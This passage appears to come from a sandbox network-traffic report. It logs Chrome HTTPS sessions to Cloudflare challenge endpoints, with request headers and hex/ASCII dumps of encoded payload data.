2024-11-21 13:44:47 UTC	1369	IN	Data Raw: 6a 34 33 4b 70 74 66 56 30 4a 57 58 78 39 61 2b 6d 63 65 66 73 72 50 59 74 65 61 68 32 61 66 54 31 4d 76 4e 76 37 2f 6e 34 4b 4f 78 76 63 6a 6d 34 76 48 6f 78 75 58 56 31 38 6e 35 7a 2b 72 64 2b 2b 4c 50 34 75 37 58 30 51 44 58 35 63 7a 4c 78 39 7a 6f 32 75 51 48 43 2b 62 72 39 2f 6a 69 2b 66 7a 35 2b 76 49 51 45 68 50 55 34 4f 77 5a 46 50 76 6b 39 50 34 58 2f 67 77 4a 47 67 38 6b 2b 79 67 75 4e 78 4c 32 4e 2f 67 6b 45 43 6f 49 51 44 67 2f 4c 79 51 62 2f 42 73 47 51 68 78 4b 51 55 30 58 50 6b 49 36 4f 69 52 4c 49 46 42 51 46 7a 51 35 51 7a 6c 54 56 6a 41 31 57 56 6c 59 57 31 73 66 4e 47 64 67 56 79 68 55 51 30 6f 37 4c 48 46 6f 61 6c 74 72 62 48 46 32 63 6e 46 77 4e 54 56 74 4e 32 64 77 66 54 39 4d 59 31 4a 45 63 48 64 58 58 6c 53 44 6a 6e 6c 59 62 47 70 Data Ascii: j43KptfV0JWXx9a+mcefsrPYteah2afT1MvNv7/n4KOxvcjm4vHoxuXV18n5z+rd++LP4u7X0QDX5czLx9zo2uQHC+br9/ji+fz5+vIQEhPU4OwZFPvk9P4X/gwJGg8k+yguNxL2N/gkECoIQDg/LyQb/BsGQhxKQU0XPkI6OiRLIFBQFzQ5QzlTVjA1WVlYW1sfNGdgVyhUQ0o7LHFoaltrbHF2cnFwNTVtN2dwfT9MY1JEcHdXXlSDjnlYbGp
2024-11-21 13:44:47 UTC	1369	IN	Data Raw: 72 53 6e 70 39 72 4a 76 73 71 64 76 73 79 66 35 63 53 69 78 5a 37 46 35 72 6d 6d 31 65 33 6a 35 64 33 6b 35 38 50 54 34 75 76 48 31 2b 72 76 79 39 76 64 76 50 44 4c 33 67 54 54 41 37 37 56 34 41 54 56 39 67 54 31 34 63 38 43 34 2f 33 4b 2f 4d 2f 6e 44 2f 66 6f 43 67 77 50 44 42 30 49 32 76 63 67 45 4f 50 62 46 43 6a 6d 36 53 77 6c 47 69 59 6a 4c 77 45 46 37 53 7a 76 4e 41 67 6a 4c 78 59 49 46 7a 66 31 4d 52 64 43 2b 52 59 2b 2f 6a 59 42 48 42 73 42 53 44 6f 46 4e 79 4d 49 52 53 73 76 4b 55 70 45 46 45 6b 76 4e 42 46 61 4d 42 77 63 4d 7a 31 4e 51 6c 42 4e 52 54 5a 4a 59 32 4a 68 59 57 4e 66 50 44 6b 2f 4c 79 70 46 58 33 4a 56 57 58 64 58 57 44 67 37 4f 46 30 38 65 6e 4e 66 51 46 68 6e 62 31 56 5a 51 48 32 4c 5a 6d 4a 65 68 47 42 2b 68 6e 4f 4e 6c 57 52 69 Data Ascii: rSnp9rJvsqdvsyf5cSixZ7F5rmm1e3j5d3k58PT4uvH1+rvy9vdvPDL3gTTA77V4ATV9gT14c8C4/3K/M/nD/foCgwPDB0I2vcgEOPbFCjm6SwlGiYjLwEF7SzvNAgjLxYIFzf1MRdC+RY+/jYBHBsBSDoFNyMIRSsvKUpEFEkvNBFaMBwcMz1NQlBNRTZJY2JhYWNfPDk/LypFX3JVWXdXWDg7OF08enNfQFhnb1VZQH2LZmJehGB+hnONlWRi
2024-11-21 13:44:47 UTC	1369	IN	Data Raw: 36 31 6d 36 36 32 34 74 79 33 30 61 61 39 75 72 65 2f 79 63 54 70 36 2f 48 53 35 65 2f 46 7a 38 66 55 73 4e 76 56 31 74 6e 66 30 74 32 34 2b 65 44 67 42 73 62 32 33 50 54 63 31 65 4c 4d 45 41 4c 6b 41 39 37 30 45 4e 51 43 31 66 50 74 2b 41 66 76 38 66 58 2b 2b 52 37 37 32 76 6f 62 4a 39 38 6a 4b 79 72 36 35 51 77 4a 41 78 30 67 37 78 54 39 41 44 41 79 4f 43 55 48 4a 67 33 37 4b 42 51 65 46 7a 59 73 51 41 4d 5a 50 44 63 61 4d 7a 39 44 48 67 45 75 53 51 34 74 43 30 51 53 43 54 56 55 4f 6b 39 52 57 44 45 31 56 56 73 64 55 32 46 57 58 30 39 42 59 45 74 4a 51 46 35 6e 4f 53 6c 73 57 30 56 42 62 6a 46 46 64 33 4d 31 4f 48 78 76 5a 6c 31 79 65 32 4a 68 50 48 31 6d 63 31 42 35 63 6b 68 57 65 34 52 5a 58 34 6d 49 68 32 69 46 61 4a 4f 55 69 70 4b 50 6d 6f 79 47 66 Data Ascii: 61m6624ty30aa9ure/ycTp6/HS5e/Fz8fUsNvV1tnf0t24+eDgBsb23PTc1eLMEALkA970ENQC1fPt+Afv8fX++R772vobJ98jKyr65QwJAx0g7xT9ADAyOCUHJg37KBQeFzYsQAMZPDcaMz9DHgEuSQ4tC0QSCTVUOk9RWDE1VVsdU2FWX09BYEtJQF5nOSlsW0VBbjFFd3M1OHxvZl1ye2JhPH1mc1B5ckhWe4RZX4mIh2iFaJOUipKPmoyGf
2024-11-21 13:44:47 UTC	1369	IN	Data Raw: 47 35 62 72 65 73 75 4c 57 33 4b 58 6f 7a 64 44 4c 72 4e 4f 74 37 65 62 47 37 63 75 30 32 74 72 35 7a 4f 44 50 37 62 7a 64 34 76 6e 35 36 41 72 54 43 74 73 4f 79 66 33 6c 45 2f 49 54 35 2b 54 65 43 4f 67 4c 2b 74 62 78 36 4f 59 59 43 2b 73 57 4a 50 4d 41 49 67 55 55 2b 41 77 5a 43 79 4c 36 47 42 45 6e 46 42 55 54 37 42 51 6d 47 76 4d 63 43 52 73 63 47 44 45 52 44 53 31 42 47 6a 70 47 52 68 73 36 51 55 77 62 50 79 74 50 49 46 49 4f 51 6a 39 46 44 6c 45 32 4f 54 51 56 50 42 5a 57 54 79 39 57 4e 42 31 44 51 32 49 31 53 54 68 57 4a 55 5a 4c 59 6d 4a 52 63 6a 78 79 52 32 5a 74 4d 6b 35 75 65 54 56 53 62 31 64 74 55 46 46 54 62 31 63 2b 5a 44 39 30 66 55 74 30 62 57 65 47 67 48 79 46 68 6e 31 75 64 47 43 4e 68 49 78 34 66 58 35 73 63 34 35 32 6f 34 4f 69 6a 6e Data Ascii: G5bresuLW3KXozdDLrNOt7ebG7cu02tr5zODP7bzd4vn56ArTCtsOyf3lE/IT5+TeCOgL+tbx6OYYC+sWJPMAIgUU+AwZCyL6GBEnFBUT7BQmGvMcCRscGDERDS1BGjpGRhs6QUwbPytPIFIOQj9FDlE2OTQVPBZWTy9WNB1DQ2I1SThWJUZLYmJRcjxyR2ZtMk5ueTVSb1dtUFFTb1c+ZD90fUt0bWeGgHyFhn1udGCNhIx4fX5sc452o4Oijn
2024-11-21 13:44:47 UTC	1369	IN	Data Raw: 75 4e 69 6e 77 2f 4c 43 72 63 6a 41 31 72 44 4c 2b 75 54 6c 30 66 37 4f 2f 4e 51 44 37 41 4c 5a 34 4e 4c 43 33 74 49 4a 78 64 38 50 31 68 44 6b 41 2b 4c 4e 36 75 44 71 30 65 66 6b 2b 74 58 77 2b 4f 72 61 39 52 50 79 32 2f 67 6e 46 52 4c 39 47 77 4d 74 41 52 37 74 4d 51 55 6a 49 65 73 4a 44 7a 58 77 44 52 55 58 39 68 49 4a 42 30 45 55 51 79 50 39 46 42 45 6e 52 68 34 37 4f 51 51 6a 47 53 38 48 4a 6c 4d 39 50 69 6f 78 4e 31 6b 73 57 79 63 55 4d 79 6b 6e 47 7a 63 72 59 52 77 36 51 54 39 70 50 55 55 37 49 30 46 4a 4f 79 70 41 50 55 39 31 53 6e 64 48 4d 30 31 72 54 33 70 53 66 30 74 71 56 6c 31 54 50 31 74 52 59 34 6c 65 65 31 4e 48 59 6c 65 4e 52 32 64 63 55 6b 74 70 6c 32 4e 53 62 4a 75 4a 6d 57 78 70 66 35 39 31 6f 33 74 64 65 6f 47 44 58 33 35 7a 71 57 4f Data Ascii: uNinw/LCrcjA1rDL+uTl0f7O/NQD7ALZ4NLC3tIJxd8P1hDkA+LN6uDq0efk+tXw+Ora9RPy2/gnFRL9GwMtAR7tMQUjIesJDzXwDRUX9hIJB0EUQyP9FBEnRh47OQQjGS8HJlM9PioxN1ksWycUMyknGzcrYRw6QT9pPUU7I0FJOypAPU91SndHM01rT3pSf0tqVl1TP1tRY4lee1NHYleNR2dcUktpl2NSbJuJmWxpf591o3tdeoGDX35zqWO
2024-11-21 13:44:47 UTC	1369	IN	Data Raw: 63 76 50 78 72 62 53 36 76 54 72 35 4f 36 31 37 4d 2f 4e 34 39 6a 63 39 77 48 30 31 39 58 6a 34 4f 51 41 43 66 7a 66 33 41 6b 4e 37 4f 34 56 31 4f 72 54 39 67 72 79 44 52 33 59 37 39 67 61 32 2f 54 77 48 52 4c 39 4b 77 63 5a 42 79 4d 4c 48 67 63 68 4d 65 77 4b 4a 66 55 69 46 77 51 32 39 41 30 4a 4e 53 6f 59 51 68 51 4d 48 7a 59 51 45 42 6b 38 47 42 34 6c 4b 42 38 47 49 46 45 53 50 69 74 47 55 52 59 6f 4a 56 56 56 4e 43 64 64 48 7a 4e 6a 47 6b 34 38 51 47 49 68 4f 54 55 6d 56 6b 4e 48 4c 6c 70 49 59 6d 30 71 52 45 45 32 63 56 46 44 65 6b 52 50 4e 55 74 71 57 56 78 2b 50 56 56 52 65 58 4a 6e 55 30 75 46 5a 6d 70 47 53 32 75 53 6a 6b 31 6c 59 6d 4f 43 63 6e 5a 53 56 33 65 64 58 6f 70 36 66 6c 70 65 66 36 61 69 59 58 6c 32 63 35 61 47 69 6d 5a 71 69 37 46 79 Data Ascii: cvPxrbS6vTr5O617M/N49jc9wH019Xj4OQACfzf3AkN7O4V1OrT9gryDR3Y79ga2/TwHRL9KwcZByMLHgchMewKJfUiFwQ29A0JNSoYQhQMHzYQEBk8GB4lKB8GIFESPitGURYoJVVVNCddHzNjGk48QGIhOTUmVkNHLlpIYm0qREE2cVFDekRPNUtqWVx+PVVReXJnU0uFZmpGS2uSjk1lYmOCcnZSV3edXop6flpef6aiYXl2c5aGimZqi7Fy

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.16	49746	104.18.94.41	443	68	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-21 13:44:48 UTC	599	OUT	GET /cdn-cgi/challenge-platform/h/b/flow/ov1/1900004869:1732193398:xYxRnhRTLYoBzVFerUjl_gT9us-M5K-J0PAZyirTKEo/8e611d89ebaa43cf/OOWdfnwMazG9.hEkl1zZh895VE0DTIBBhmUxp6h..Cs-1732196676-1.1.1.1-QNch6E4NmRyaMcK5js34.zZCK4cR6woy34tQ1NVH5yfne78WeJKqDAjjLHEE6LWg HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-21 13:44:49 UTC	379	IN	HTTP/1.1 404 Not Found Date: Thu, 21 Nov 2024 13:44:49 GMT Content-Type: application/json Content-Length: 7 Connection: close cf-chl-out: nF1uv9dg4An4gb10AGRytbLUYOuWt5mlT7g=$2yz6l456ESCQ3feX cache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Server: cloudflare CF-RAY: 8e611ddb3a4942a3-EWR alt-svc: h3=":443"; ma=86400
2024-11-21 13:44:49 UTC	7	IN	Data Raw: 69 6e 76 61 6c 69 64 Data Ascii: invalid

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.16	49747	104.18.94.41	443	68	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-21 13:44:53 UTC	1151	OUT	POST /cdn-cgi/challenge-platform/h/b/flow/ov1/1900004869:1732193398:xYxRnhRTLYoBzVFerUjl_gT9us-M5K-J0PAZyirTKEo/8e611d89ebaa43cf/OOWdfnwMazG9.hEkl1zZh895VE0DTIBBhmUxp6h..Cs-1732196676-1.1.1.1-QNch6E4NmRyaMcK5js34.zZCK4cR6woy34tQ1NVH5yfne78WeJKqDAjjLHEE6LWg HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive Content-Length: 34764 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Content-type: application/x-www-form-urlencoded sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 CF-Challenge: OOWdfnwMazG9.hEkl1zZh895VE0DTIBBhmUxp6h..Cs-1732196676-1.1.1.1-QNch6E4NmRyaMcK5js34.zZCK4cR6woy34tQ1NVH5yfne78WeJKqDAjjLHEE6LWg sec-ch-ua-platform: "Windows" Accept: / Origin: https://challenges.cloudflare.com Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv0/0/b7vhb/0x4AAAAAAA0I-nPFyuQ7OkeQ/auto/fbE/normal/auto/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-21 13:44:53 UTC	16384	OUT	Data Raw: 76 5f 38 65 36 31 31 64 38 39 65 62 61 61 34 33 63 66 3d 65 74 76 71 79 63 75 4f 73 54 73 49 73 75 51 75 70 47 61 47 55 33 32 75 6a 47 77 71 67 59 63 51 75 48 47 67 77 59 75 32 75 55 47 36 72 77 6d 76 4b 36 46 47 31 47 63 59 32 6b 75 67 32 47 4b 64 47 75 37 47 6e 37 68 59 75 53 47 47 46 38 47 52 34 62 69 58 59 47 4e 59 66 43 47 65 43 76 41 76 76 67 59 33 39 47 64 71 47 51 51 4b 37 47 66 38 68 6c 75 59 33 4f 37 47 70 68 66 37 51 75 52 4d 6b 75 64 33 43 59 63 37 51 51 53 54 71 75 56 47 43 77 62 47 24 54 47 33 68 47 55 67 51 25 32 62 62 36 6e 68 47 53 68 50 49 47 75 54 76 69 53 79 74 6d 6e 77 49 38 44 66 59 57 4a 73 4f 7a 53 53 57 6c 71 47 65 67 59 47 24 78 4a 63 37 51 61 68 47 54 48 61 69 55 66 46 57 47 69 49 43 45 39 61 69 61 24 38 4b 2b 2b 4c 58 68 69 68 Data Ascii: v_8e611d89ebaa43cf=etvqycuOsTsIsuQupGaGU32ujGwqgYcQuHGgwYu2uUG6rwmvK6FG1GcY2kug2GKdGu7Gn7hYuSGGF8GR4biXYGNYfCGeCvAvvgY39GdqGQQK7Gf8hluY3O7Gphf7QuRMkud3CYc7QQSTquVGCwbG$TG3hGUgQ%2bb6nhGShPIGuTviSytmnwI8DfYWJsOzSSWlqGegYG$xJc7QahGTHaiUfFWGiICE9aia$8K++LXhih
2024-11-21 13:44:53 UTC	16384	OUT	Data Raw: 50 47 55 62 75 47 75 72 75 70 47 70 71 66 68 44 4e 75 4f 75 48 76 34 47 79 76 76 71 47 58 75 43 66 65 50 72 71 75 35 47 70 30 4b 32 47 77 47 78 68 75 47 47 36 47 65 59 6d 51 75 6d 47 6a 47 66 4c 64 66 47 38 68 66 37 47 4c 59 66 68 47 37 75 61 47 67 68 32 4f 75 52 47 65 68 32 58 75 54 47 44 44 66 75 71 2b 59 65 47 24 32 47 76 47 75 2d 46 6a 75 73 47 36 2d 4d 59 75 6b 47 6a 47 24 69 75 56 47 44 47 32 32 75 43 47 55 2b 64 59 47 4f 47 53 59 4b 6b 75 43 47 6a 74 75 4f 75 49 47 43 71 4b 6b 47 68 47 71 59 47 71 63 53 47 70 59 32 54 41 34 47 65 59 47 6b 47 56 47 36 68 47 54 47 79 47 49 47 75 56 75 6b 47 4d 68 47 6f 47 52 47 7a 58 41 68 63 33 68 70 47 44 45 71 24 2d 78 54 33 71 47 78 2d 49 71 54 6b 47 34 47 36 71 55 62 75 43 47 6c 59 24 76 47 51 47 55 58 63 51 75 Data Ascii: PGUbuGurupGpqfhDNuOuHv4GyvvqGXuCfePrqu5Gp0K2GwGxhuGG6GeYmQumGjGfLdfG8hf7GLYfhG7uaGgh2OuRGeh2XuTGDDfuq+YeG$2GvGu-FjusG6-MYukGjG$iuVGDG22uCGU+dYGOGSYKkuCGjtuOuIGCqKkGhGqYGqcSGpY2TA4GeYGkGVG6hGTGyGIGuVukGMhGoGRGzXAhc3hpGDEq$-xT3qGx-IqTkG4G6qUbuCGlY$vGQGUXcQu
2024-11-21 13:44:53 UTC	1996	OUT	Data Raw: 66 44 71 49 6e 65 6e 43 24 56 6d 71 75 56 47 2b 59 43 6a 53 2d 7a 68 47 4b 64 2b 70 35 58 24 51 72 53 56 75 2b 70 46 71 73 5a 71 30 4f 56 6b 47 50 63 45 54 6f 4f 62 38 47 34 47 38 6d 75 49 62 69 33 49 4a 62 62 2b 4b 44 4a 69 33 78 71 43 47 63 53 55 47 38 71 59 2b 41 33 5a 56 4e 47 4f 70 69 4b 6e 56 6a 71 30 57 38 75 72 38 57 33 6f 6b 47 6d 64 37 74 66 62 75 4f 72 53 47 24 35 64 48 54 45 54 73 46 55 30 64 7a 4d 4b 55 59 70 47 43 68 33 36 79 5a 69 69 59 75 54 47 71 4c 6d 4e 52 35 64 32 6d 64 56 76 61 6a 43 71 43 68 6e 76 47 46 37 64 47 24 71 4b 74 45 62 69 78 6a 41 66 47 63 36 53 36 73 4a 61 46 38 4e 49 75 24 6a 46 71 75 52 79 2b 69 33 47 24 5a 70 69 33 24 50 33 32 47 54 64 31 7a 58 50 77 38 68 54 74 75 71 47 6a 47 65 6b 75 49 38 48 51 6e 74 31 2b 74 4a 65 Data Ascii: fDqInenC$VmquVG+YCjS-zhGKd+p5X$QrSVu+pFqsZq0OVkGPcEToOb8G4G8muIbi3IJbb+KDJi3xqCGcSUG8qY+A3ZVNGOpiKnVjq0W8ur8W3okGmd7tfbuOrSG$5dHTETsFU0dzMKUYpGCh36yZiiYuTGqLmNR5d2mdVvajCqChnvGF7dG$qKtEbixjAfGc6S6sJaF8NIu$jFquRy+i3G$Zpi3$P32GTd1zXPw8hTtuqGjGekuI8HQnt1+tJe
2024-11-21 13:44:53 UTC	1357	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 13:44:53 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 4476 Connection: close cf-chl-out-s: GtrY/xJ0+3FPXRkkuosgR01emzRm2cKUqj7bJbLEqxAO2o5reReKgnYpeLZqueLpPagEMX8IpB5VmMRJ6XCU/djYbY50PtxsLHXfL5D03BisUBjXXv9yX1X6natfjsNj/jCo7geOvPbJ9VsG+Fu5RYmye3I0ItDV6Y3rPUl26jV6TwPCr3+pEm+GR5kAE69/okYZLY35RvCqjgsGogL1Rn4+Vzoy10w6Rw/W5kwzKVyWAf7Kk+eyQKMFTwtzPMN2Teqw8/IayIdYNZuXlWeIBchdydN2sCIHDwMXBP87K6594eZal+QpaaQK0K8k7I6WkpiiZ82CFLvN4XoXCn2XKXGBxfELUetgRhFlLkiCPzSkvd2mnKshUGS2GDveeb3UwetSTfcoueecYy8xRwr1JiME61K0Pm9+Tt9ulZgUP6Zlo7VjUZ+Rv5Y3hn2e4wZ03TR0l65fd3+BRoacVJmb+qU7llVYHcBGpaAXSJr9BeAoCh0+tU3CAg1NQ5BIgSM5ltI6JcrTnD3PTYVyQwz/4+P5vTqcnq5QTdPJ+V+zLaWN6KC53HwQQzEc1s8d/lFnuw+GMhxKKFsb/ej0Hon1jao5Cv97RDuFiZvA1KAplFm04iS+s1uCuJo4Ub7hXSXAGmg2bz0Z4oacAYlG3d/mR3fTrvM3BxGGYGEUx/n7aOEtgf+KJzNV2K0nmfXMQqFujdKaAmuVq0J47XxmPJX7biHgOxdkmPwKdnjnhwpBYl094wZdxESMlaONYP2gAp5ctJoZFkFT7FtwSWc4unPmM9HAM8cpA7Aw38ZlmnTZGq+oY1BiXTBpP1W9Tz8TUfSHMMkpdx4eKQ53xH5dzHZM5iWXbVe0RbFF54cvN7hMVjtFVs6LZSH81IDmZxQfyAVyxDuvROgfvFzElOg0sduSXJuh7tfDsodgFk5VlxQWwn7Ype7ZS7lykpGIdKDbAvaAOn9LQBtxaw6N1gC7vhRVq5brZNn5$M+0gkc7cGIDsp0GQ cf-chl-out: 8UKMdY+UqJkFEuShHaaqZ0n2w5OC72uKyswbbyKcloqBBviu73qFLexjlTi1JOAlsGixQMq/HwTBFMl6C+k/QzsQS173piAdGbthnIeV/Lg+g/k8Jg/VFxc=$C29HI2WT+IHqmc5K Server: cloudflare CF-RAY: 8e611df5eed09dff-EWR
2024-11-21 13:44:53 UTC	32	IN	Data Raw: 61 6c 74 2d 73 76 63 3a 20 68 33 3d 22 3a 34 34 33 22 3b 20 6d 61 3d 38 36 34 30 30 0d 0a 0d 0a Data Ascii: alt-svc: h3=":443"; ma=86400
2024-11-21 13:44:53 UTC	1349	IN	Data Raw: 6c 4c 79 52 6b 4c 6c 38 6f 4b 32 6b 75 72 61 7a 74 4b 69 4a 6d 61 61 63 67 59 76 49 6b 4c 76 46 79 63 2b 78 30 4b 6d 72 32 37 75 38 76 4c 7a 49 79 64 61 76 75 38 48 69 70 2b 4c 41 76 4c 6e 42 33 65 61 39 78 65 58 44 7a 65 50 6e 31 73 43 33 35 2b 7a 30 30 4c 62 58 38 62 72 55 7a 50 58 39 31 4d 2f 78 41 39 6e 34 44 4f 41 46 41 67 38 51 2f 50 41 50 46 66 55 4e 45 75 7a 71 32 74 55 63 31 74 37 64 48 4e 37 55 39 51 50 77 37 79 55 55 35 75 6f 73 36 2b 33 6b 42 79 72 77 48 6a 45 66 38 43 34 55 44 51 6b 52 42 7a 7a 33 4b 6b 45 63 2f 67 50 39 4d 41 54 34 50 55 49 46 51 6a 6f 68 48 77 56 42 4d 51 39 51 50 56 4a 4c 4b 45 52 59 46 54 52 4e 4a 55 5a 5a 47 6a 4e 67 52 43 51 37 59 31 68 45 59 30 56 4c 59 47 6f 70 4c 57 52 43 55 6a 78 71 50 6d 4e 4b 59 30 6c 55 4d 6d 64 Data Ascii: lLyRkLl8oK2kuraztKiJmaacgYvIkLvFyc+x0Kmr27u8vLzIydavu8Hip+LAvLnB3ea9xeXDzePn1sC35+z00LbX8brUzPX91M/xA9n4DOAFAg8Q/PAPFfUNEuzq2tUc1t7dHN7U9QPw7yUU5uos6+3kByrwHjEf8C4UDQkRBzz3KkEc/gP9MAT4PUIFQjohHwVBMQ9QPVJLKERYFTRNJUZZGjNgRCQ7Y1hEY0VLYGopLWRCUjxqPmNKY0lUMmd
2024-11-21 13:44:53 UTC	1369	IN	Data Raw: 4b 36 66 68 62 4f 30 64 36 65 4c 72 71 61 7a 72 37 71 6a 65 59 36 34 76 4c 53 57 75 63 47 65 6e 38 43 4a 70 70 7a 4a 70 49 57 4f 79 38 79 6d 6f 39 43 70 6d 4c 50 4f 79 4c 6d 79 31 39 6e 50 31 74 36 6b 76 62 58 66 76 5a 33 73 37 4e 6a 67 75 4f 72 43 38 2f 58 6a 74 64 57 77 37 72 69 74 32 75 79 39 2b 2b 48 36 2b 4f 45 42 2b 76 33 45 76 67 48 61 34 4d 4c 37 37 75 58 67 2f 67 6e 4d 43 78 48 6d 38 75 49 49 37 42 6e 72 48 41 44 31 31 68 44 67 2f 75 34 59 39 76 37 33 4a 43 49 47 41 53 51 42 2f 53 51 74 42 41 34 55 4a 51 6e 70 45 53 77 31 4a 44 41 77 2f 42 35 43 4e 43 4d 69 4f 6b 55 76 4e 52 6b 39 4d 2f 30 75 54 55 67 34 43 45 6b 4f 50 42 35 56 46 51 34 6a 55 69 73 5a 54 31 45 61 4b 69 35 69 4e 30 78 54 55 31 30 32 5a 57 52 6b 57 44 5a 6b 5a 32 68 45 59 7a 4a 6b Data Ascii: K6fhbO0d6eLrqazr7qjeY64vLSWucGen8CJppzJpIWOy8ymo9CpmLPOyLmy19nP1t6kvbXfvZ3s7NjguOrC8/XjtdWw7rit2uy9++H6+OEB+v3EvgHa4ML77uXg/gnMCxHm8uII7BnrHAD11hDg/u4Y9v73JCIGASQB/SQtBA4UJQnpESw1JDAw/B5CNCMiOkUvNRk9M/0uTUg4CEkOPB5VFQ4jUisZT1EaKi5iN0xTU102ZWRkWDZkZ2hEYzJk
2024-11-21 13:44:53 UTC	1369	IN	Data Raw: 5a 7a 63 35 47 34 71 38 43 2b 67 33 75 79 74 33 32 59 79 63 43 37 78 4d 4f 65 6d 63 33 4f 6a 49 58 42 30 36 6a 50 74 4e 50 53 71 62 50 63 79 4e 76 64 30 70 79 56 73 4f 57 6a 6d 63 4c 6b 33 36 69 33 33 36 71 73 33 2f 47 77 30 61 33 69 73 73 48 31 38 50 44 46 37 66 79 35 75 4c 62 30 31 4f 2f 54 2f 74 72 33 2b 66 66 47 41 50 73 48 34 64 6b 46 44 50 6f 41 34 78 54 32 47 4f 49 55 41 39 58 76 44 39 7a 70 38 68 72 7a 41 2f 41 63 45 50 6b 42 47 67 77 4b 4b 53 59 50 49 41 73 76 37 66 30 4a 4a 78 63 4b 43 69 6e 32 43 69 6b 76 2f 51 6f 36 51 68 4d 53 47 30 59 58 52 41 45 34 47 79 6f 6e 54 41 78 4d 52 30 4d 4e 45 53 78 4a 54 56 45 6a 57 42 5a 56 4b 46 64 56 4f 6b 42 58 57 52 5a 59 58 69 4d 36 56 6d 4e 56 4e 69 52 67 54 30 38 39 63 53 38 2b 63 6d 56 74 61 45 31 79 59 Data Ascii: Zzc5G4q8C+g3uyt32YycC7xMOemc3OjIXB06jPtNPSqbPcyNvd0pyVsOWjmcLk36i336qs3/Gw0a3issH18PDF7fy5uLb01O/T/tr3+ffGAPsH4dkFDPoA4xT2GOIUA9XvD9zp8hrzA/AcEPkBGgwKKSYPIAsv7f0JJxcKCin2Cikv/Qo6QhMSG0YXRAE4GyonTAxMR0MNESxJTVEjWBZVKFdVOkBXWRZYXiM6VmNVNiRgT089cS8+cmVtaE1yY
2024-11-21 13:44:53 UTC	389	IN	Data Raw: 38 64 58 75 7a 70 6f 53 43 76 4a 7a 4c 76 63 53 75 71 63 58 52 7a 4b 4b 67 31 4b 65 71 6f 74 6a 55 70 71 54 62 72 37 61 72 31 4d 7a 43 72 4f 50 51 78 72 58 62 71 62 33 48 37 4d 4c 42 7a 50 44 47 76 61 72 30 34 4d 33 58 36 2f 54 5a 31 2b 2b 36 36 4d 38 42 31 74 58 66 2b 50 44 53 31 41 67 46 36 74 77 4d 79 75 37 67 45 4f 58 4a 33 41 6e 71 39 75 41 59 32 65 37 73 48 51 44 32 37 78 58 68 44 66 51 6c 39 2f 6e 6e 49 2f 6b 4a 2f 68 6b 68 35 51 33 72 4a 42 41 7a 43 66 37 32 37 77 67 70 46 66 73 30 47 69 38 71 46 44 4d 44 51 69 55 53 4e 67 4d 6f 41 77 67 36 4c 55 39 4f 54 44 45 77 53 67 78 44 49 6b 39 45 49 31 4e 58 4b 78 42 52 4d 69 41 68 56 30 78 61 4a 43 4d 67 58 53 59 6b 58 32 74 6f 59 46 74 67 62 6d 4e 76 54 6d 31 31 51 33 64 56 56 7a 56 6e 56 31 52 37 66 6c Data Ascii: 8dXuzpoSCvJzLvcSuqcXRzKKg1KeqotjUpqTbr7ar1MzCrOPQxrXbqb3H7MLBzPDGvar04M3X6/TZ1++66M8B1tXf+PDS1AgF6twMyu7gEOXJ3Anq9uAY2e7sHQD27xXhDfQl9/nnI/kJ/hkh5Q3rJBAzCf727wgpFfs0Gi8qFDMDQiUSNgMoAwg6LU9OTDEwSgxDIk9EI1NXKxBRMiAhV0xaJCMgXSYkX2toYFtgbmNvTm11Q3dVVzVnV1R7fl

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
27	192.168.2.16	49748	104.18.94.41	443	68	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-21 13:44:55 UTC	599	OUT	GET /cdn-cgi/challenge-platform/h/b/flow/ov1/1900004869:1732193398:xYxRnhRTLYoBzVFerUjl_gT9us-M5K-J0PAZyirTKEo/8e611d89ebaa43cf/OOWdfnwMazG9.hEkl1zZh895VE0DTIBBhmUxp6h..Cs-1732196676-1.1.1.1-QNch6E4NmRyaMcK5js34.zZCK4cR6woy34tQ1NVH5yfne78WeJKqDAjjLHEE6LWg HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-21 13:44:55 UTC	379	IN	HTTP/1.1 404 Not Found Date: Thu, 21 Nov 2024 13:44:55 GMT Content-Type: application/json Content-Length: 7 Connection: close cache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0 cf-chl-out: OCoGZnz34/TUVSZ7DQIGPwL2+KOwo/F7GIY=$R9hfHWLrUVTKm3U2 Server: cloudflare CF-RAY: 8e611e038e283344-EWR alt-svc: h3=":443"; ma=86400
2024-11-21 13:44:55 UTC	7	IN	Data Raw: 69 6e 76 61 6c 69 64 Data Ascii: invalid

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
28	192.168.2.16	49749	185.156.109.33	443	68	C:\Program Files\Google\Chrome\Application\chrome.exe

